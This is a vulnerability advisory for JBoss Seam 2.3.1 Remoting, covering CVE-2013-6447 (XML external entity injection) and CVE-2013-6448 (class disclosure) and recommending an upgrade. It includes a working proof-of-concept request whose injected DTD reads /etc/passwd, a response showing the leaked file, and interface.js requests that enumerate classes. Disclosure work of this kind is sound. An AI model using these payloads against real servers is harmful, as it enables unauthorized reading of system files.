JBoss Seam 2.3.1 Remoting Vulnerabilities

Advisory

Overview

From JBoss Seam Remoting:

Seam provides a convenient method of remotely accessing components from a web page, using AJAX (Asynchronous Javascript and XML). The framework for this functionality is provided with almost no up-front development effort - your components only require simple annotating to become accessible via AJAX.

Seam version 2.3.1 and earlier are susceptible to multiple blind XML External Entity attacks, CVE-2013-6447, and a minor information disclosure related to available classes and class structure, CVE-2013-6448. Red Hat has documented this under RHSA-2014-0045. Red Hat recommends Seam users to upgrade to version 2.4.0.

Details

JBoss Seam is a Java web application framework that utilizes JSF2, EJB 3.0, and other technologies. Seam includes a servlet, org.jboss.seam.servlet.SeamResourceServlet, that exposes Seam Remoting, with a typical configuration defined in web.xml as such:

<servlet>
  <servlet-name>Seam Resource Servlet</servlet-name>
  <servlet-class>org.jboss.seam.servlet.SeamResourceServlet</servlet-class>
</servlet>

<servlet-mapping>
  <servlet-name>Seam Resource Servlet</servlet-name>
  <url-pattern>/seam/resource/*</url-pattern>
</servlet-mapping>

The servlet extracts a sub-URL path component and checks a map of resource providers, which are classes extending org.jboss.seam.web.AbstractResource. In testing, the following were available when running the Seam chatroom example application:

Other resources could be available depending upon specific application configurations, such org.jboss.seam.remoting.gwt.GWTService and org.jboss.seam.resteasy.ResteasyResourceAdapter. Also note that WebResource was recently removed from the 2.3 branch.

Remoting Subsytem

The org.jboss.seam.remoting.Remoting subsystem uses org.jboss.seam.remoting.RequestHandlerFactory to further match the URL and dispatch to other handlers:

XXE Issues

ExecutionHandler, PollHandler, and SubscriptionHandler unmarshal user-provided XML using the dom4j library. Since the handlers allows for user-supplied XML, which may include a DTD, and do not disable entity expansion, the handlers are susceptible to XML External Entity (XXE) attacks.

To test, deploy the Seam example Chatroom application. Once running, access the chatroom as "johndoe", and start to intercept the requests using an intercepting proxy like Burp.

Look for a request similar to the one below:

POST /seam-chatroom/seam/resource/remoting/execute HTTP/1.1
Host: 127.0.0.1:8080
...

<envelope><header><context></context></header><body><call component="chatroomAction" method="connect" id="0">
<params><param><str>johndoe</str></param></params><refs></refs></call><call component="chatroomAction" method="listUsers" id="1">
<params></params><refs></refs></call></body></envelope>

Modify the request as below, assuming a *NIX environment. If on Windows, change /etc/passwd to a Windows-accessible file:

POST /seam-chatroom/seam/resource/remoting/execute HTTP/1.1
Host: 127.0.0.1:8080
...

<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE xxeme [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]><envelope><header><context></context></header><body><call component="chatroomAction" method="connect" id="0">
<params><param><str>&xxe;</str></param></params><refs></refs></call><call component="chatroomAction" method="listUsers" id="1">
<params></params><refs></refs></call></body></envelope>

And review the response for the included file contents:

HTTP/1.1 200 OK
...
Content-Length: 7566

<envelope><header><context><conversationId>97</conversationId></context></header><body><result id="0"><value><bool>true</bool></value><refs></refs></result><result id="1"><value><bag><element><str>%26xxe%3B%0A%23%20User%20Database%0A%23%20%0A%23%20Note%20that%20this%20file%20is%20consulted%20directly%20only%20when%20the%20system%20is%20running%0A%23%20in%20single-user%20mode.%20%20At%20other%20times%20...

(Note: the response above is displaying the /etc/passwd file on a Mac OS X system, URL-encoded.)

Information Disclosure

The InterfaceGenerator handler generates a JavaScript interface that can be used in remoting calls. It is used in conjunction with the ExecutionHandler to enable client-side remoting. Unlike ExecutionHandler handler, which restricts calls to methods with the org.jboss.seam.annotations.remoting.WebRemote annotation, InterfaceGenerator accepts any class as a query parameter name. The parameter name is looked up, with a special case if the class is annotated with org.jboss.seam.annotations.Name, which is considered a Component.

Example request for java.lang.Object:

GET /seam-chatroom/seam/resource/remoting/interface.js?java.lang.Object HTTP/1.1
Host: 127.0.0.1:8080
...

Example response for above:

HTTP/1.1 200 OK
...
Content-Length: 240

Seam.Remoting.type.java$lang$Object = function() {
}

Seam.Remoting.type.java$lang$Object.__name = "java.lang.Object";
Seam.Remoting.type.java$lang$Object.__metadata = [
];

Seam.Remoting.registerType(Seam.Remoting.type.java$lang$Object);

Example response for java.lang.FooBar:

HTTP/1.1 200 OK
...
Content-Length: 0

Example response for org.jboss.seam.remoting.messaging.subscriptionRegistry, which is a Component:

HTTP/1.1 200 OK
...
Content-Length: 1247

Seam.Remoting.type.org$jboss$seam$remoting$messaging$subscriptionRegistry = function() {
  this.connectionProvider = undefined;
  this.allowedTopics = undefined;
  Seam.Remoting.type.org$jboss$seam$remoting$messaging$subscriptionRegistry.prototype.getConnectionProvider = function() { return this.connectionProvider; }
  Seam.Remoting.type.org$jboss$seam$remoting$messaging$subscriptionRegistry.prototype.getAllowedTopics = function() { return this.allowedTopics; }
  Seam.Remoting.type.org$jboss$seam$remoting$messaging$subscriptionRegistry.prototype.setConnectionProvider = function(connectionProvider) { this.connectionProvider = connectionProvider; }
  Seam.Remoting.type.org$jboss$seam$remoting$messaging$subscriptionRegistry.prototype.setAllowedTopics = function(allowedTopics) { this.allowedTopics = allowedTopics; }
}

Seam.Remoting.type.org$jboss$seam$remoting$messaging$subscriptionRegistry.__name = "org.jboss.seam.remoting.messaging.subscriptionRegistry";
Seam.Remoting.type.org$jboss$seam$remoting$messaging$subscriptionRegistry.__metadata = [
  {field: "connectionProvider", type: "str"},
  {field: "allowedTopics", type: "bag"}];

Seam.Component.register(Seam.Remoting.type.org$jboss$seam$remoting$messaging$subscriptionRegistry);

Other advisories